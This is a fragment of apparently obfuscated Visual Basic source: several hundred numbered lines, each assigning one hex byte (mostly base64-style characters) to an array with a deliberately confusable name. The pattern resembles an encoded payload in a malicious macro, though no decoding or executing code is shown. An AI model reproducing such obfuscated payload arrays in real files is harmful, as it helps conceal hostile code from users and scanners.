46	ljLLJJLJjjjjJijI(421) = &H4A
46	ljLLJJLJjjjjJijI(422) = &H67
46	ljLLJJLJjjjjJijI(423) = &H6F
46	ljLLJJLJjjjjJijI(424) = &H55
46	ljLLJJLJjjjjJijI(425) = &H53
46	ljLLJJLJjjjjJijI(426) = &H6A
46	ljLLJJLJjjjjJijI(427) = &H49
46	ljLLJJLJjjjjJijI(428) = &H37
46	ljLLJJLJjjjjJijI(429) = &H6A
46	ljLLJJLJjjjjJijI(430) = &H4D
46	ljLLJJLJjjjjJijI(431) = &H55
46	ljLLJJLJjjjjJijI(432) = &H64
46	ljLLJJLJjjjjJijI(433) = &H59
46	ljLLJJLJjjjjJijI(434) = &H6A
46	ljLLJJLJjjjjJijI(435) = &H50
46	ljLLJJLJjjjjJijI(436) = &H39
46	ljLLJJLJjjjjJijI(437) = &H53
46	ljLLJJLJjjjjJijI(438) = &H6A
46	ljLLJJLJjjjjJijI(439) = &H45
46	ljLLJJLJjjjjJijI(440) = &H6F
46	ljLLJJLJjjjjJijI(441) = &H56
46	ljLLJJLJjjjjJijI(442) = &H4E
46	ljLLJJLJjjjjJijI(443) = &H52
46	ljLLJJLJjjjjJijI(444) = &H71
46	ljLLJJLJjjjjJijI(445) = &H4D
46	ljLLJJLJjjjjJijI(446) = &H6A
46	ljLLJJLJjjjjJijI(447) = &H78
46	ljLLJJLJjjjjJijI(448) = &H64
47	ljLLJJLJjjjjJijI(449) = &H77
47	ljLLJJLJjjjjJijI(450) = &H46
47	ljLLJJLJjjjjJijI(451) = &H46
47	ljLLJJLJjjjjJijI(452) = &H51
47	ljLLJJLJjjjjJijI(453) = &H78
47	ljLLJJLJjjjjJijI(454) = &H72
47	ljLLJJLJjjjjJijI(455) = &H47
47	ljLLJJLJjjjjJijI(456) = &H2B
47	ljLLJJLJjjjjJijI(457) = &H49
47	ljLLJJLJjjjjJijI(458) = &H62
47	ljLLJJLJjjjjJijI(459) = &H47
47	ljLLJJLJjjjjJijI(460) = &H32
47	ljLLJJLJjjjjJijI(461) = &H2B
47	ljLLJJLJjjjjJijI(462) = &H73
47	ljLLJJLJjjjjJijI(463) = &H72
47	ljLLJJLJjjjjJijI(464) = &H4F
47	ljLLJJLJjjjjJijI(465) = &H75
47	ljLLJJLJjjjjJijI(466) = &H37
47	ljLLJJLJjjjjJijI(467) = &H62
47	ljLLJJLJjjjjJijI(468) = &H36
47	ljLLJJLJjjjjJijI(469) = &H7A
47	ljLLJJLJjjjjJijI(470) = &H73
47	ljLLJJLJjjjjJijI(471) = &H50
47	ljLLJJLJjjjjJijI(472) = &H64
47	ljLLJJLJjjjjJijI(473) = &H33
47	ljLLJJLJjjjjJijI(474) = &H68
47	ljLLJJLJjjjjJijI(475) = &H6D
47	ljLLJJLJjjjjJijI(476) = &H4D
47	ljLLJJLJjjjjJijI(477) = &H32
47	ljLLJJLJjjjjJijI(478) = &H73
47	ljLLJJLJjjjjJijI(479) = &H44
47	ljLLJJLJjjjjJijI(480) = &H7A
48	ljLLJJLJjjjjJijI(481) = &H32
48	ljLLJJLJjjjjJijI(482) = &H73
48	ljLLJJLJjjjjJijI(483) = &H34
48	ljLLJJLJjjjjJijI(484) = &H6A
48	ljLLJJLJjjjjJijI(485) = &H33
48	ljLLJJLJjjjjJijI(486) = &H4E
48	ljLLJJLJjjjjJijI(487) = &H45
48	ljLLJJLJjjjjJijI(488) = &H36
48	ljLLJJLJjjjjJijI(489) = &H79
48	ljLLJJLJjjjjJijI(490) = &H73
48	ljLLJJLJjjjjJijI(491) = &H4E
48	ljLLJJLJjjjjJijI(492) = &H52
48	ljLLJJLJjjjjJijI(493) = &H31
48	ljLLJJLJjjjjJijI(494) = &H6C
48	ljLLJJLJjjjjJijI(495) = &H31
48	ljLLJJLJjjjjJijI(496) = &H4F
48	ljLLJJLJjjjjJijI(497) = &H54
48	ljLLJJLJjjjjJijI(498) = &H6B
48	ljLLJJLJjjjjJijI(499) = &H34
48	ljLLJJLJjjjjJijI(500) = &H34
48	ljLLJJLJjjjjJijI(501) = &H69
48	ljLLJJLJjjjjJijI(502) = &H59
48	ljLLJJLJjjjjJijI(503) = &H31
48	ljLLJJLJjjjjJijI(504) = &H61
48	ljLLJJLJjjjjJijI(505) = &H79
48	ljLLJJLJjjjjJijI(506) = &H73
48	ljLLJJLJjjjjJijI(507) = &H4A
48	ljLLJJLJjjjjJijI(508) = &H43
48	ljLLJJLJjjjjJijI(509) = &H51
48	ljLLJJLJjjjjJijI(510) = &H62
48	ljLLJJLJjjjjJijI(511) = &H5A
48	ljLLJJLJjjjjJijI(512) = &H59
49	ljLLJJLJjjjjJijI(513) = &H4C
49	ljLLJJLJjjjjJijI(514) = &H6E
49	ljLLJJLJjjjjJijI(515) = &H32
49	ljLLJJLJjjjjJijI(516) = &H43
49	ljLLJJLJjjjjJijI(517) = &H66
49	ljLLJJLJjjjjJijI(518) = &H6B
49	ljLLJJLJjjjjJijI(519) = &H45
49	ljLLJJLJjjjjJijI(520) = &H5A
49	ljLLJJLJjjjjJijI(521) = &H46
49	ljLLJJLJjjjjJijI(522) = &H6E
49	ljLLJJLJjjjjJijI(523) = &H72
49	ljLLJJLJjjjjJijI(524) = &H4F
49	ljLLJJLJjjjjJijI(525) = &H41
49	ljLLJJLJjjjjJijI(526) = &H6B
49	ljLLJJLJjjjjJijI(527) = &H62
49	ljLLJJLJjjjjJijI(528) = &H36
49	ljLLJJLJjjjjJijI(529) = &H7A
49	ljLLJJLJjjjjJijI(530) = &H6E
49	ljLLJJLJjjjjJijI(531) = &H2B
49	ljLLJJLJjjjjJijI(532) = &H47
49	ljLLJJLJjjjjJijI(533) = &H65
49	ljLLJJLJjjjjJijI(534) = &H43
49	ljLLJJLJjjjjJijI(535) = &H35
49	ljLLJJLJjjjjJijI(536) = &H41
49	ljLLJJLJjjjjJijI(537) = &H66
49	ljLLJJLJjjjjJijI(538) = &H6B
49	ljLLJJLJjjjjJijI(539) = &H6A
49	ljLLJJLJjjjjJijI(540) = &H6D
49	ljLLJJLJjjjjJijI(541) = &H6D
49	ljLLJJLJjjjjJijI(542) = &H73
49	ljLLJJLJjjjjJijI(543) = &H77
49	ljLLJJLJjjjjJijI(544) = &H4F
50	ljLLJJLJjjjjJijI(545) = &H42
50	ljLLJJLJjjjjJijI(546) = &H6E
50	ljLLJJLJjjjjJijI(547) = &H72
50	ljLLJJLJjjjjJijI(548) = &H4D
50	ljLLJJLJjjjjJijI(549) = &H51
50	ljLLJJLJjjjjJijI(550) = &H49
50	ljLLJJLJjjjjJijI(551) = &H62
50	ljLLJJLJjjjjJijI(552) = &H61
50	ljLLJJLJjjjjJijI(553) = &H79
50	ljLLJJLJjjjjJijI(554) = &H73
50	ljLLJJLJjjjjJijI(555) = &H50
50	ljLLJJLJjjjjJijI(556) = &H53
50	ljLLJJLJjjjjJijI(557) = &H59
50	ljLLJJLJjjjjJijI(558) = &H6A
50	ljLLJJLJjjjjJijI(559) = &H39
50	ljLLJJLJjjjjJijI(560) = &H65
50	ljLLJJLJjjjjJijI(561) = &H54
50	ljLLJJLJjjjjJijI(562) = &H6B
50	ljLLJJLJjjjjJijI(563) = &H35
50	ljLLJJLJjjjjJijI(564) = &H43
50	ljLLJJLJjjjjJijI(565) = &H4F
50	ljLLJJLJjjjjJijI(566) = &H74
50	ljLLJJLJjjjjJijI(567) = &H70
50	ljLLJJLJjjjjJijI(568) = &H43
50	ljLLJJLJjjjjJijI(569) = &H54
50	ljLLJJLJjjjjJijI(570) = &H6B
50	ljLLJJLJjjjjJijI(571) = &H35
50	ljLLJJLJjjjjJijI(572) = &H4B
50	ljLLJJLJjjjjJijI(573) = &H33
50	ljLLJJLJjjjjJijI(574) = &H6B
50	ljLLJJLJjjjjJijI(575) = &H4A
50	ljLLJJLJjjjjJijI(576) = &H57
51	ljLLJJLJjjjjJijI(577) = &H32
51	ljLLJJLJjjjjJijI(578) = &H7A
51	ljLLJJLJjjjjJijI(579) = &H47
51	ljLLJJLJjjjjJijI(580) = &H36
51	ljLLJJLJjjjjJijI(581) = &H7A
51	ljLLJJLJjjjjJijI(582) = &H30
51	ljLLJJLJjjjjJijI(583) = &H49
51	ljLLJJLJjjjjJijI(584) = &H47
51	ljLLJJLJjjjjJijI(585) = &H65
51	ljLLJJLJjjjjJijI(586) = &H38
51	ljLLJJLJjjjjJijI(587) = &H78
51	ljLLJJLJjjjjJijI(588) = &H4F
51	ljLLJJLJjjjjJijI(589) = &H63
51	ljLLJJLJjjjjJijI(590) = &H6A
51	ljLLJJLJjjjjJijI(591) = &H35
51	ljLLJJLJjjjjJijI(592) = &H4F
51	ljLLJJLJjjjjJijI(593) = &H54
51	ljLLJJLJjjjjJijI(594) = &H6B
51	ljLLJJLJjjjjJijI(595) = &H35
51	ljLLJJLJjjjjJijI(596) = &H4F
51	ljLLJJLJjjjjJijI(597) = &H53
51	ljLLJJLJjjjjJijI(598) = &H4F
51	ljLLJJLJjjjjJijI(599) = &H61
51	ljLLJJLJjjjjJijI(600) = &H61
51	ljLLJJLJjjjjJijI(601) = &H7A
51	ljLLJJLJjjjjJijI(602) = &H41
51	ljLLJJLJjjjjJijI(603) = &H34
51	ljLLJJLJjjjjJijI(604) = &H47
51	ljLLJJLJjjjjJijI(605) = &H65
51	ljLLJJLJjjjjJijI(606) = &H73
51	ljLLJJLJjjjjJijI(607) = &H78
51	ljLLJJLJjjjjJijI(608) = &H41
52	ljLLJJLJjjjjJijI(609) = &H68
52	ljLLJJLJjjjjJijI(610) = &H74
52	ljLLJJLJjjjjJijI(611) = &H72
52	ljLLJJLJjjjjJijI(612) = &H4B
52	ljLLJJLJjjjjJijI(613) = &H77
52	ljLLJJLJjjjjJijI(614) = &H39
52	ljLLJJLJjjjjJijI(615) = &H4A
52	ljLLJJLJjjjjJijI(616) = &H69
52	ljLLJJLJjjjjJijI(617) = &H50
52	ljLLJJLJjjjjJijI(618) = &H31
52	ljLLJJLJjjjjJijI(619) = &H35
52	ljLLJJLJjjjjJijI(620) = &H4F
52	ljLLJJLJjjjjJijI(621) = &H54
52	ljLLJJLJjjjjJijI(622) = &H6B
52	ljLLJJLJjjjjJijI(623) = &H49
52	ljLLJJLJjjjjJijI(624) = &H36
52	ljLLJJLJjjjjJijI(625) = &H33
52	ljLLJJLJjjjjJijI(626) = &H45
52	ljLLJJLJjjjjJijI(627) = &H4A
52	ljLLJJLJjjjjJijI(628) = &H4F
52	ljLLJJLJjjjjJijI(629) = &H54
52	ljLLJJLJjjjjJijI(630) = &H6B
52	ljLLJJLJjjjjJijI(631) = &H72
52	ljLLJJLJjjjjJijI(632) = &H65
52	ljLLJJLJjjjjJijI(633) = &H51
52	ljLLJJLJjjjjJijI(634) = &H6C
52	ljLLJJLJjjjjJijI(635) = &H62
52	ljLLJJLJjjjjJijI(636) = &H62
52	ljLLJJLJjjjjJijI(637) = &H4D
52	ljLLJJLJjjjjJijI(638) = &H62
52	ljLLJJLJjjjjJijI(639) = &H72
52	ljLLJJLJjjjjJijI(640) = &H50
53	ljLLJJLJjjjjJijI(641) = &H51
53	ljLLJJLJjjjjJijI(642) = &H67
53	ljLLJJLJjjjjJijI(643) = &H5A
53	ljLLJJLJjjjjJijI(644) = &H37
53	ljLLJJLJjjjjJijI(645) = &H7A
53	ljLLJJLJjjjjJijI(646) = &H45
53	ljLLJJLJjjjjJijI(647) = &H58
53	ljLLJJLJjjjjJijI(648) = &H4B
53	ljLLJJLJjjjjJijI(649) = &H79
53	ljLLJJLJjjjjJijI(650) = &H57
53	ljLLJJLJjjjjJijI(651) = &H6B
53	ljLLJJLJjjjjJijI(652) = &H59
53	ljLLJJLJjjjjJijI(653) = &H6D
53	ljLLJJLJjjjjJijI(654) = &H49
53	ljLLJJLJjjjjJijI(655) = &H69
53	ljLLJJLJjjjjJijI(656) = &H6F
53	ljLLJJLJjjjjJijI(657) = &H76
53	ljLLJJLJjjjjJijI(658) = &H6B
53	ljLLJJLJjjjjJijI(659) = &H35
53	ljLLJJLJjjjjJijI(660) = &H4B
53	ljLLJJLJjjjjJijI(661) = &H79
53	ljLLJJLJjjjjJijI(662) = &H30
53	ljLLJJLJjjjjJijI(663) = &H34
53	ljLLJJLJjjjjJijI(664) = &H47
53	ljLLJJLJjjjjJijI(665) = &H6D
53	ljLLJJLJjjjjJijI(666) = &H73
53	ljLLJJLJjjjjJijI(667) = &H77
53	ljLLJJLJjjjjJijI(668) = &H41
53	ljLLJJLJjjjjJijI(669) = &H68
53	ljLLJJLJjjjjJijI(670) = &H6E
53	ljLLJJLJjjjjJijI(671) = &H72
53	ljLLJJLJjjjjJijI(672) = &H4D
54	ljLLJJLJjjjjJijI(673) = &H51
54	ljLLJJLJjjjjJijI(674) = &H6C
54	ljLLJJLJjjjjJijI(675) = &H62
54	ljLLJJLJjjjjJijI(676) = &H62
54	ljLLJJLJjjjjJijI(677) = &H4D
54	ljLLJJLJjjjjJijI(678) = &H62
54	ljLLJJLJjjjjJijI(679) = &H72
54	ljLLJJLJjjjjJijI(680) = &H4F
54	ljLLJJLJjjjjJijI(681) = &H77
54	ljLLJJLJjjjjJijI(682) = &H67
54	ljLLJJLJjjjjJijI(683) = &H5A
54	ljLLJJLJjjjjJijI(684) = &H36
54	ljLLJJLJjjjjJijI(685) = &H7A
54	ljLLJJLJjjjjJijI(686) = &H45
54	ljLLJJLJjjjjJijI(687) = &H49
54	ljLLJJLJjjjjJijI(688) = &H47
54	ljLLJJLJjjjjJijI(689) = &H65
54	ljLLJJLJjjjjJijI(690) = &H73
54	ljLLJJLJjjjjJijI(691) = &H37
54	ljLLJJLJjjjjJijI(692) = &H43
54	ljLLJJLJjjjjJijI(693) = &H4A
54	ljLLJJLJjjjjJijI(694) = &H74
54	ljLLJJLJjjjjJijI(695) = &H6F
54	ljLLJJLJjjjjJijI(696) = &H79
54	ljLLJJLJjjjjJijI(697) = &H4F
54	ljLLJJLJjjjjJijI(698) = &H33
54	ljLLJJLJjjjjJijI(699) = &H72
54	ljLLJJLJjjjjJijI(700) = &H4F
54	ljLLJJLJjjjjJijI(701) = &H62
54	ljLLJJLJjjjjJijI(702) = &H79
54	ljLLJJLJjjjjJijI(703) = &H49
54	ljLLJJLJjjjjJijI(704) = &H38
55	ljLLJJLJjjjjJijI(705) = &H53
55	ljLLJJLJjjjjJijI(706) = &H30
55	ljLLJJLJjjjjJijI(707) = &H6F
55	ljLLJJLJjjjjJijI(708) = &H35
55	ljLLJJLJjjjjJijI(709) = &H74
55	ljLLJJLJjjjjJijI(710) = &H48
55	ljLLJJLJjjjjJijI(711) = &H41
55	ljLLJJLJjjjjJijI(712) = &H59
55	ljLLJJLJjjjjJijI(713) = &H32
55	ljLLJJLJjjjjJijI(714) = &H73
55	ljLLJJLJjjjjJijI(715) = &H73
55	ljLLJJLJjjjjJijI(716) = &H35
55	ljLLJJLJjjjjJijI(717) = &H74
55	ljLLJJLJjjjjJijI(718) = &H70
55	ljLLJJLJjjjjJijI(719) = &H44
55	ljLLJJLJjjjjJijI(720) = &H4B
55	ljLLJJLJjjjjJijI(721) = &H77
55	ljLLJJLJjjjjJijI(722) = &H61
55	ljLLJJLJjjjjJijI(723) = &H32
55	ljLLJJLJjjjjJijI(724) = &H68
55	ljLLJJLJjjjjJijI(725) = &H73
55	ljLLJJLJjjjjJijI(726) = &H62
55	ljLLJJLJjjjjJijI(727) = &H70
55	ljLLJJLJjjjjJijI(728) = &H4C
55	ljLLJJLJjjjjJijI(729) = &H73
55	ljLLJJLJjjjjJijI(730) = &H2D
55	ljLLJJLJjjjjJijI(731) = &H64
55	ljLLJJLJjjjjJijI(732) = &H2B
55	ljLLJJLJjjjjJijI(733) = &H72
55	ljLLJJLJjjjjJijI(734) = &H42
55	ljLLJJLJjjjjJijI(735) = &H52
55	ljLLJJLJjjjjJijI(736) = &H68
56	ljLLJJLJjjjjJijI(737) = &H61
56	ljLLJJLJjjjjJijI(738) = &H65
56	ljLLJJLJjjjjJijI(739) = &H66
56	ljLLJJLJjjjjJijI(740) = &H46
56	ljLLJJLJjjjjJijI(741) = &H35
56	ljLLJJLJjjjjJijI(742) = &H4F
56	ljLLJJLJjjjjJijI(743) = &H52
56	ljLLJJLJjjjjJijI(744) = &H70
56	ljLLJJLJjjjjJijI(745) = &H72
56	ljLLJJLJjjjjJijI(746) = &H49
56	ljLLJJLJjjjjJijI(747) = &H53
56	ljLLJJLJjjjjJijI(748) = &H37
56	ljLLJJLJjjjjJijI(749) = &H5A
56	ljLLJJLJjjjjJijI(750) = &H36
56	ljLLJJLJjjjjJijI(751) = &H7A
56	ljLLJJLJjjjjJijI(752) = &H55
56	ljLLJJLJjjjjJijI(753) = &H43
56	ljLLJJLJjjjjJijI(754) = &H43
56	ljLLJJLJjjjjJijI(755) = &H4F
56	ljLLJJLJjjjjJijI(756) = &H73
56	ljLLJJLJjjjjJijI(757) = &H35
56	ljLLJJLJjjjjJijI(758) = &H43
56	ljLLJJLJjjjjJijI(759) = &H58
56	ljLLJJLJjjjjJijI(760) = &H6B
56	ljLLJJLJjjjjJijI(761) = &H35
56	ljLLJJLJjjjjJijI(762) = &H4B
56	ljLLJJLJjjjjJijI(763) = &H7A
56	ljLLJJLJjjjjJijI(764) = &H6B
56	ljLLJJLJjjjjJijI(765) = &H4A
56	ljLLJJLJjjjjJijI(766) = &H6D
56	ljLLJJLJjjjjJijI(767) = &H31
56	ljLLJJLJjjjjJijI(768) = &H74
57	ljLLJJLJjjjjJijI(769) = &H72
57	ljLLJJLJjjjjJijI(770) = &H61
57	ljLLJJLJjjjjJijI(771) = &H30
57	ljLLJJLJjjjjJijI(772) = &H38
57	ljLLJJLJjjjjJijI(773) = &H4A
57	ljLLJJLJjjjjJijI(774) = &H53
57	ljLLJJLJjjjjJijI(775) = &H50
57	ljLLJJLJjjjjJijI(776) = &H6C
57	ljLLJJLJjjjjJijI(777) = &H35
57	ljLLJJLJjjjjJijI(778) = &H4F
57	ljLLJJLJjjjjJijI(779) = &H54
57	ljLLJJLJjjjjJijI(780) = &H6B
57	ljLLJJLJjjjjJijI(781) = &H49
57	ljLLJJLJjjjjJijI(782) = &H36
57	ljLLJJLJjjjjJijI(783) = &H7A
57	ljLLJJLJjjjjJijI(784) = &H41
57	ljLLJJLJjjjjJijI(785) = &H6F
57	ljLLJJLJjjjjJijI(786) = &H4F
57	ljLLJJLJjjjjJijI(787) = &H54
57	ljLLJJLJjjjjJijI(788) = &H45
57	ljLLJJLJjjjjJijI(789) = &H35
57	ljLLJJLJjjjjJijI(790) = &H4F
57	ljLLJJLJjjjjJijI(791) = &H53
57	ljLLJJLJjjjjJijI(792) = &H73
57	ljLLJJLJjjjjJijI(793) = &H35
57	ljLLJJLJjjjjJijI(794) = &H4B
57	ljLLJJLJjjjjJijI(795) = &H41
57	ljLLJJLJjjjjJijI(796) = &H6A
57	ljLLJJLJjjjjJijI(797) = &H7A
57	ljLLJJLJjjjjJijI(798) = &H4D
57	ljLLJJLJjjjjJijI(799) = &H44
57	ljLLJJLJjjjjJijI(800) = &H6B
58	ljLLJJLJjjjjJijI(801) = &H35
58	ljLLJJLJjjjjJijI(802) = &H4F
58	ljLLJJLJjjjjJijI(803) = &H54
58	ljLLJJLJjjjjJijI(804) = &H6B
58	ljLLJJLJjjjjJijI(805) = &H73
58	ljLLJJLJjjjjJijI(806) = &H78
58	ljLLJJLJjjjjJijI(807) = &H75
58	ljLLJJLJjjjjJijI(808) = &H73
58	ljLLJJLJjjjjJijI(809) = &H74
58	ljLLJJLJjjjjJijI(810) = &H43
58	ljLLJJLJjjjjJijI(811) = &H42
58	ljLLJJLJjjjjJijI(812) = &H6E
58	ljLLJJLJjjjjJijI(813) = &H72
58	ljLLJJLJjjjjJijI(814) = &H4E
58	ljLLJJLJjjjjJijI(815) = &H51
58	ljLLJJLJjjjjJijI(816) = &H63
58	ljLLJJLJjjjjJijI(817) = &H5A
58	ljLLJJLJjjjjJijI(818) = &H2B
58	ljLLJJLJjjjjJijI(819) = &H76
58	ljLLJJLJjjjjJijI(820) = &H6B
58	ljLLJJLJjjjjJijI(821) = &H53
58	ljLLJJLJjjjjJijI(822) = &H47
58	ljLLJJLJjjjjJijI(823) = &H48
58	ljLLJJLJjjjjJijI(824) = &H6B
58	ljLLJJLJjjjjJijI(825) = &H35
58	ljLLJJLJjjjjJijI(826) = &H4B
58	ljLLJJLJjjjjJijI(827) = &H7A
58	ljLLJJLJjjjjJijI(828) = &H6B
58	ljLLJJLJjjjjJijI(829) = &H43
58	ljLLJJLJjjjjJijI(830) = &H47
58	ljLLJJLJjjjjJijI(831) = &H65
58	ljLLJJLJjjjjJijI(832) = &H73
59	ljLLJJLJjjjjJijI(833) = &H70
59	ljLLJJLJjjjjJijI(834) = &H44
59	ljLLJJLJjjjjJijI(835) = &H31
59	ljLLJJLJjjjjJijI(836) = &H74
59	ljLLJJLJjjjjJijI(837) = &H58
59	ljLLJJLJjjjjJijI(838) = &H71
59	ljLLJJLJjjjjJijI(839) = &H7A
59	ljLLJJLJjjjjJijI(840) = &H6B
59	ljLLJJLJjjjjJijI(841) = &H35
59	ljLLJJLJjjjjJijI(842) = &H47
59	ljLLJJLJjjjjJijI(843) = &H54
59	ljLLJJLJjjjjJijI(844) = &H6B
59	ljLLJJLJjjjjJijI(845) = &H35
59	ljLLJJLJjjjjJijI(846) = &H4F
59	ljLLJJLJjjjjJijI(847) = &H54
59	ljLLJJLJjjjjJijI(848) = &H6B
59	ljLLJJLJjjjjJijI(849) = &H35
59	ljLLJJLJjjjjJijI(850) = &H43
59	ljLLJJLJjjjjJijI(851) = &H4F
59	ljLLJJLJjjjjJijI(852) = &H74
59	ljLLJJLJjjjjJijI(853) = &H35
59	ljLLJJLJjjjjJijI(854) = &H53
59	ljLLJJLJjjjjJijI(855) = &H54
59	ljLLJJLJjjjjJijI(856) = &H6B
59	ljLLJJLJjjjjJijI(857) = &H35
59	ljLLJJLJjjjjJijI(858) = &H4B
59	ljLLJJLJjjjjJijI(859) = &H33
59	ljLLJJLJjjjjJijI(860) = &H6B
59	ljLLJJLJjjjjJijI(861) = &H4A
59	ljLLJJLJjjjjJijI(862) = &H53
59	ljLLJJLJjjjjJijI(863) = &H50
59	ljLLJJLJjjjjJijI(864) = &H6B
60	ljLLJJLJjjjjJijI(865) = &H35
60	ljLLJJLJjjjjJijI(866) = &H4F
60	ljLLJJLJjjjjJijI(867) = &H54
60	ljLLJJLJjjjjJijI(868) = &H6B
60	ljLLJJLJjjjjJijI(869) = &H49
60	ljLLJJLJjjjjJijI(870) = &H36
60	ljLLJJLJjjjjJijI(871) = &H7A
60	ljLLJJLJjjjjJijI(872) = &H41
60	ljLLJJLJjjjjJijI(873) = &H6F
60	ljLLJJLJjjjjJijI(874) = &H4F
60	ljLLJJLJjjjjJijI(875) = &H66
60	ljLLJJLJjjjjJijI(876) = &H45
60	ljLLJJLJjjjjJijI(877) = &H35
60	ljLLJJLJjjjjJijI(878) = &H4F
60	ljLLJJLJjjjjJijI(879) = &H53
60	ljLLJJLJjjjjJijI(880) = &H73
60	ljLLJJLJjjjjJijI(881) = &H35
60	ljLLJJLJjjjjJijI(882) = &H4B
60	ljLLJJLJjjjjJijI(883) = &H41
60	ljLLJJLJjjjjJijI(884) = &H6A
60	ljLLJJLJjjjjJijI(885) = &H7A
60	ljLLJJLJjjjjJijI(886) = &H4D
60	ljLLJJLJjjjjJijI(887) = &H44
60	ljLLJJLJjjjjJijI(888) = &H6B
60	ljLLJJLJjjjjJijI(889) = &H35
60	ljLLJJLJjjjjJijI(890) = &H65
60	ljLLJJLJjjjjJijI(891) = &H54
60	ljLLJJLJjjjjJijI(892) = &H6B
60	ljLLJJLJjjjjJijI(893) = &H49
60	ljLLJJLJjjjjJijI(894) = &H36
60	ljLLJJLJjjjjJijI(895) = &H7A
60	ljLLJJLJjjjjJijI(896) = &H41
61	ljLLJJLJjjjjJijI(897) = &H6F
61	ljLLJJLJjjjjJijI(898) = &H4F
61	ljLLJJLJjjjjJijI(899) = &H54
61	ljLLJJLJjjjjJijI(900) = &H55
61	ljLLJJLJjjjjJijI(901) = &H35
61	ljLLJJLJjjjjJijI(902) = &H4F
61	ljLLJJLJjjjjJijI(903) = &H51
61	ljLLJJLJjjjjJijI(904) = &H62
61	ljLLJJLJjjjjJijI(905) = &H35
61	ljLLJJLJjjjjJijI(906) = &H50
61	ljLLJJLJjjjjJijI(907) = &H79
61	ljLLJJLJjjjjJijI(908) = &H7A
61	ljLLJJLJjjjjJijI(909) = &H5A
61	ljLLJJLJjjjjJijI(910) = &H36
61	ljLLJJLJjjjjJijI(911) = &H79
61	ljLLJJLJjjjjJijI(912) = &H6B
61	ljLLJJLJjjjjJijI(913) = &H49
61	ljLLJJLJjjjjJijI(914) = &H4B
61	ljLLJJLJjjjjJijI(915) = &H79
61	ljLLJJLJjjjjJijI(916) = &H30
61	ljLLJJLJjjjjJijI(917) = &H65
61	ljLLJJLJjjjjJijI(918) = &H32
61	ljLLJJLJjjjjJijI(919) = &H6E
61	ljLLJJLJjjjjJijI(920) = &H6C
61	ljLLJJLJjjjjJijI(921) = &H68
61	ljLLJJLJjjjjJijI(922) = &H4F
61	ljLLJJLJjjjjJijI(923) = &H54
61	ljLLJJLJjjjjJijI(924) = &H6B
61	ljLLJJLJjjjjJijI(925) = &H35
61	ljLLJJLJjjjjJijI(926) = &H49
61	ljLLJJLJjjjjJijI(927) = &H35
61	ljLLJJLJjjjjJijI(928) = &H70
62	ljLLJJLJjjjjJijI(929) = &H71
62	ljLLJJLJjjjjJijI(930) = &H4D
62	ljLLJJLJjjjjJijI(931) = &H44
62	ljLLJJLJjjjjJijI(932) = &H77
62	ljLLJJLJjjjjJijI(933) = &H5A
62	ljLLJJLJjjjjJijI(934) = &H36
62	ljLLJJLJjjjjJijI(935) = &H7A
62	ljLLJJLJjjjjJijI(936) = &H55
62	ljLLJJLJjjjjJijI(937) = &H43
62	ljLLJJLJjjjjJijI(938) = &H47
62	ljLLJJLJjjjjJijI(939) = &H32
62	ljLLJJLJjjjjJijI(940) = &H73
62	ljLLJJLJjjjjJijI(941) = &H72
62	ljLLJJLJjjjjJijI(942) = &H43
62	ljLLJJLJjjjjJijI(943) = &H55
62	ljLLJJLJjjjjJijI(944) = &H2B
62	ljLLJJLJjjjjJijI(945) = &H62
62	ljLLJJLJjjjjJijI(946) = &H53
62	ljLLJJLJjjjjJijI(947) = &H4F
62	ljLLJJLJjjjjJijI(948) = &H74
62	ljLLJJLJjjjjJijI(949) = &H35
62	ljLLJJLJjjjjJijI(950) = &H43
62	ljLLJJLJjjjjJijI(951) = &H54
62	ljLLJJLJjjjjJijI(952) = &H6B
62	ljLLJJLJjjjjJijI(953) = &H74
62	ljLLJJLJjjjjJijI(954) = &H4B
62	ljLLJJLJjjjjJijI(955) = &H6E
62	ljLLJJLJjjjjJijI(956) = &H6B
62	ljLLJJLJjjjjJijI(957) = &H4E
62	ljLLJJLJjjjjJijI(958) = &H57
62	ljLLJJLJjjjjJijI(959) = &H30
62	ljLLJJLJjjjjJijI(960) = &H6A
63	ljLLJJLJjjjjJijI(961) = &H72
63	ljLLJJLJjjjjJijI(962) = &H4D
63	ljLLJJLJjjjjJijI(963) = &H43
63	ljLLJJLJjjjjJijI(964) = &H67
63	ljLLJJLJjjjjJijI(965) = &H35
63	ljLLJJLJjjjjJijI(966) = &H4D
63	ljLLJJLJjjjjJijI(967) = &H54
63	ljLLJJLJjjjjJijI(968) = &H6B
63	ljLLJJLJjjjjJijI(969) = &H35
63	ljLLJJLJjjjjJijI(970) = &H42
63	ljLLJJLJjjjjJijI(971) = &H76
63	ljLLJJLJjjjjJijI(972) = &H6B
63	ljLLJJLJjjjjJijI(973) = &H31
63	ljLLJJLJjjjjJijI(974) = &H4C
63	ljLLJJLJjjjjJijI(975) = &H4E
63	ljLLJJLJjjjjJijI(976) = &H6E
63	ljLLJJLJjjjjJijI(977) = &H72
63	ljLLJJLJjjjjJijI(978) = &H4E
63	ljLLJJLJjjjjJijI(979) = &H51
63	ljLLJJLJjjjjJijI(980) = &H67
63	ljLLJJLJjjjjJijI(981) = &H5A
63	ljLLJJLJjjjjJijI(982) = &H36
63	ljLLJJLJjjjjJijI(983) = &H7A
63	ljLLJJLJjjjjJijI(984) = &H73
63	ljLLJJLJjjjjJijI(985) = &H49
63	ljLLJJLJjjjjJijI(986) = &H4B
63	ljLLJJLJjjjjJijI(987) = &H79
63	ljLLJJLJjjjjJijI(988) = &H38
63	ljLLJJLJjjjjJijI(989) = &H43
63	ljLLJJLJjjjjJijI(990) = &H47
63	ljLLJJLJjjjjJijI(991) = &H65
63	ljLLJJLJjjjjJijI(992) = &H73
64	ljLLJJLJjjjjJijI(993) = &H78
64	ljLLJJLJjjjjJijI(994) = &H43
64	ljLLJJLJjjjjJijI(995) = &H56
64	ljLLJJLJjjjjJijI(996) = &H74
64	ljLLJJLJjjjjJijI(997) = &H73
64	ljLLJJLJjjjjJijI(998) = &H78
64	ljLLJJLJjjjjJijI(999) = &H75
64	ljLLJJLJjjjjJijI(1000) = &H73
64	ljLLJJLJjjjjJijI(1001) = &H78
64	ljLLJJLJjjjjJijI(1002) = &H43
64	ljLLJJLJjjjjJijI(1003) = &H42
64	ljLLJJLJjjjjJijI(1004) = &H6E
64	ljLLJJLJjjjjJijI(1005) = &H72
64	ljLLJJLJjjjjJijI(1006) = &H4D
64	ljLLJJLJjjjjJijI(1007) = &H51
64	ljLLJJLJjjjjJijI(1008) = &H36
64	ljLLJJLJjjjjJijI(1009) = &H62
64	ljLLJJLJjjjjJijI(1010) = &H66
64	ljLLJJLJjjjjJijI(1011) = &H49
64	ljLLJJLJjjjjJijI(1012) = &H53
